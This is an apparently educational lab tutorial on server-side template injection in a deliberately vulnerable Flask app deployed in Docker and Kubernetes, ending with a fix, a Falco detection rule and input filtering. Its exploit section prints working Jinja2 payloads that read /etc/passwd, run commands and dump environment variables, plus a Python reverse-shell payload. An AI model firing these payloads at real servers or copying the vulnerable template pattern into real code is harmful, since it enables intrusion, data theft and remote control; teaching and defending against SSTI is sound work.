SSTI to RCE in Kubernetes

SSTI to RCE in Kubernetes

Server-Side Template Injection (SSTI) is one of the most common initial access vectors for web applications running in Kubernetes. When user input is embedded directly into a template engine without sanitization, an attacker can escape the template sandbox and execute arbitrary code on the server.

This tutorial builds a vulnerable Flask app, deploys it in Docker and Kubernetes, exploits the SSTI to gain a reverse shell, and observes every step at the kernel level with eBPF.

  1. Build a vulnerable Flask app with Jinja2 SSTI
  2. Exploit the injection locally in Docker — from template escape to RCE
  3. Deploy in Kubernetes and gain a foothold inside the pod
  4. Observe the full attack chain with eBPF (from HTTP request to execve)
  5. Detect and block with input validation, WAF rules, and Falco

Every example is self-contained — you can run the Docker sections with just Docker.


What is SSTI?

Template engines like Jinja2 (Python), Twig (PHP), and ERB (Ruby) render dynamic content by evaluating expressions inside {{ }} delimiters. When user input is placed directly into a template string instead of being passed as a variable, the attacker's input is evaluated as code.

# SAFE — user input passed as a variable
return render_template_string("Hello {{ name }}", name=user_input)

# VULNERABLE — user input IS the template
return render_template_string(f"Hello {user_input}")

In the vulnerable version, an attacker can submit {{ 7*7 }} and see Hello 49 — confirming code execution inside the template engine.


Prerequisites

# Docker only (for Parts 1-3)
docker --version
python3 --version

# For Kubernetes lab (Part 4+)
minikube start
# or: kind create cluster

Part 1: Build the Vulnerable App

The Flask application

Create a working directory:

mkdir -p ~/ssti-lab && cd ~/ssti-lab

Create app.py:

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/')
def index():
    return '''
    <h2>Greeting Service</h2>
    <form method="POST" action="/greet">
        <input type="text" name="name" placeholder="Enter your name">
        <button type="submit">Submit</button>
    </form>
    '''

@app.route('/greet', methods=['POST'])
def greet():
    name = request.form.get('name', 'World')

    # VULNERABILITY: user input embedded directly in template string
    template = f"<h2>Hello {name}!</h2><a href='/'>Back</a>"
    return render_template_string(template)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=False)

Create Dockerfile:

FROM python:3.11-slim
WORKDIR /app
RUN pip install flask
COPY app.py .
USER nobody
EXPOSE 5000
CMD ["python3", "app.py"]

Build and run:

docker build -t ssti-app .
docker run --rm -d -p 5000:5000 --name ssti-app ssti-app

Test it works:

curl -s http://localhost:5000/
# Should show the HTML form

curl -s -X POST http://localhost:5000/greet -d 'name=Kurtis'
# <h2>Hello Kurtis!</h2>

Part 2: Exploit the SSTI

Step 1: Confirm template injection

# Mathematical expression — if the template engine evaluates it, we have SSTI
curl -s -X POST http://localhost:5000/greet -d 'name={{7*7}}'
# <h2>Hello 49!</h2>  ← Template engine evaluated 7*7

49 confirms the Jinja2 engine is evaluating our input as code.

Step 2: Read server files

Jinja2 has access to Python's object hierarchy. We can traverse from a string object up to the os module:

# Read /etc/passwd via Jinja2 object traversal
curl -s -X POST http://localhost:5000/greet \
    -d "name={{ ''.__class__.__mro__[1].__subclasses__() | map(attribute='__name__') | list }}" \
    | head -c 500

A simpler approach using request.application:

# Read /etc/passwd
curl -s -X POST http://localhost:5000/greet \
    -d "name={{ request.application.__globals__.__builtins__.__import__('os').popen('cat /etc/passwd').read() }}"

Step 3: Execute arbitrary commands

# Run 'id' — who are we?
curl -s -X POST http://localhost:5000/greet \
    -d "name={{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}"
# uid=65534(nobody) gid=65534(nogroup)

# Run 'uname -a' — what OS?
curl -s -X POST http://localhost:5000/greet \
    -d "name={{ request.application.__globals__.__builtins__.__import__('os').popen('uname -a').read() }}"

# List environment variables (reveals K8s service info)
curl -s -X POST http://localhost:5000/greet \
    -d "name={{ request.application.__globals__.__builtins__.__import__('os').popen('env').read() }}"

Step 4: Get a reverse shell

Start a listener on your host:

# Terminal 1: start a netcat listener
nc -lvnp 4444

Send the reverse shell payload:

# Terminal 2: trigger the reverse shell via SSTI
curl -s -X POST http://localhost:5000/greet \
    -d "name={{ request.application.__globals__.__builtins__.__import__('os').popen('python3 -c \"import socket,subprocess,os;s=socket.socket();s.connect((\\\"host.docker.internal\\\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\\\"sh\\\"])\"').read() }}"

You should see a connection on your listener — you now have a shell inside the container.

Note: Replace host.docker.internal with your host IP if not on Docker Desktop.


Part 3: Observe with strace

You can observe the full attack chain even without eBPF by using strace on the Docker container:

# Get the container PID
CPID=$(docker inspect --format '{{.State.Pid}}' ssti-app)

# Trace the process and all children for execve and connect syscalls
sudo strace -f -p $CPID -e trace=execve,connect,clone 2>&1 | grep -E "execve|connect\(" &

# Now trigger the SSTI payload again
curl -s -X POST http://localhost:5000/greet \
    -d "name={{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}"

You'll see in the strace output:

clone(...)                      = 12345
[pid 12345] execve("/bin/sh", ["sh", "-c", "id"], ...) = 0
[pid 12345] execve("/usr/bin/id", ["id"], ...) = 0

This shows the template engine calling os.popen(), which spawns /bin/sh -c id, which in turn calls execve on /usr/bin/id. Every step is visible at the syscall level.


Part 4: Deploy in Kubernetes

Create the deployment

kubectl create namespace ssti-lab

cat <<'EOF' | kubectl apply -f -
apiVersion: apps/v1
kind: Deployment
metadata:
  name: ssti-app
  namespace: ssti-lab
spec:
  replicas: 1
  selector:
    matchLabels:
      app: ssti-app
  template:
    metadata:
      labels:
        app: ssti-app
    spec:
      containers:
        - name: app
          image: python:3.11-slim
          command: ["sh", "-c", "pip install flask && python3 /app/app.py"]
          ports:
            - containerPort: 5000
          volumeMounts:
            - name: app-code
              mountPath: /app
      volumes:
        - name: app-code
          configMap:
            name: ssti-app-code
---
apiVersion: v1
kind: Service
metadata:
  name: ssti-app
  namespace: ssti-lab
spec:
  type: NodePort
  selector:
    app: ssti-app
  ports:
    - port: 5000
      targetPort: 5000
EOF

# Create the ConfigMap with our vulnerable app
kubectl create configmap ssti-app-code -n ssti-lab \
    --from-file=app.py

Exploit in K8s

# Get the service URL
SSTI_URL=$(minikube service ssti-app -n ssti-lab --url 2>/dev/null || echo "http://localhost:5000")

# Confirm SSTI
curl -s -X POST "$SSTI_URL/greet" -d 'name={{7*7}}'

# Enumerate K8s environment
curl -s -X POST "$SSTI_URL/greet" \
    -d "name={{ request.application.__globals__.__builtins__.__import__('os').popen('env | grep KUBERNETES').read() }}"

The environment variables reveal the Kubernetes API server address and service account mount path — an attacker uses these to pivot deeper into the cluster.


Part 5: Detection and Defense

Fix the vulnerability

The fix is one line — pass user input as a template variable instead of embedding it:

# FIXED version
@app.route('/greet', methods=['POST'])
def greet():
    name = request.form.get('name', 'World')
    return render_template_string("<h2>Hello {{ name }}!</h2>", name=name)

Falco rule for shell spawning via web apps

- rule: Shell Spawned by Web Application
  desc: >
    Detect shell processes spawned by web application frameworks
    (Flask, Django, Node, etc.) — strong indicator of RCE exploitation.
  condition: >
    spawned_process and container and
    proc.name in (sh, bash, dash) and
    proc.pname in (python3, python, node, ruby, php)
  output: >
    Shell spawned by web app (command=%proc.cmdline parent=%proc.pname
     container=%container.name pod=%k8s.pod.name ns=%k8s.ns.name)
  priority: CRITICAL
  tags: [container, mitre_execution, web_exploit]

Input validation

Even without fixing the template, basic input sanitization blocks most SSTI payloads:

import re

def sanitize(user_input):
    # Block template syntax characters
    if re.search(r'[{}\[\]()_]', user_input):
        return "Invalid input"
    return user_input

Defense summary

Layer Defense What it blocks
Code Pass variables to render_template_string() All SSTI
Input Block {{ }}, _, __ in user input Most SSTI payloads
WAF ModSecurity/OWASP CRS rules Known SSTI patterns
Runtime Falco: detect shell from python/node Post-exploitation activity
Network Egress policies Reverse shell connections
Seccomp Block execve for web processes Shell spawning entirely

Lab Cleanup

docker stop ssti-app 2>/dev/null
kubectl delete namespace ssti-lab --ignore-not-found
rm -rf ~/ssti-lab

Next Steps

  • Chain SSTI with in-memory attacks — After gaining RCE via SSTI in a read-only pod, use fileless execution to run tools in memory
  • Deploy Gatekeeper + Falco — The K8s Runtime Monitoring tutorial adds both layers
  • Test container escapes — If SSTI lands you in a privileged pod, escalate with the Container Escape tutorial
  • Scan for SSTI in CI/CD — Use tools like tplmap to automatically detect SSTI vulnerabilities before deployment